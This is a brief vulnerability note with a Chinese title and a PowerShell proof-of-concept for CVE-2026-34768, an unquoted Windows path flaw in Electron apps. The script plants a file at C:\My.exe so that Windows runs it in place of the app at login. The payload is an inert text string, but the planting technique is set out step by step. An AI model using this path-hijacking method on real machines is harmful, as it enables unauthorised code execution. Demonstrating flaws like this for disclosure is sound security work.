CVE-2026-34768 Electron Windows路径未加引号漏洞

# PoC Concept for CVE-2026-34768 (Unquoted Path Vulnerability) # This script demonstrates the exploitation logic. # 1. Vulnerable Registry Entry created by Electron app # App installed at: "C:\My App\electron.exe" # Registry Value: C:\My App\electron.exe (Unquoted) # 2. Attacker Action: Create a malicious file in the parent directory # Assuming write access to C:\ $maliciousPath = "C:\My.exe" $payload = "Exploited via CVE-2026-34768" # Create the malicious executable Set-Content -Path $maliciousPath -Value $payload # 3. Trigger # On next login, Windows executes: C:\My.exe "App\electron.exe" # The spaces in the path cause the wrong executable to run. Write-Host "PoC: Created $maliciousPath to intercept unquoted path."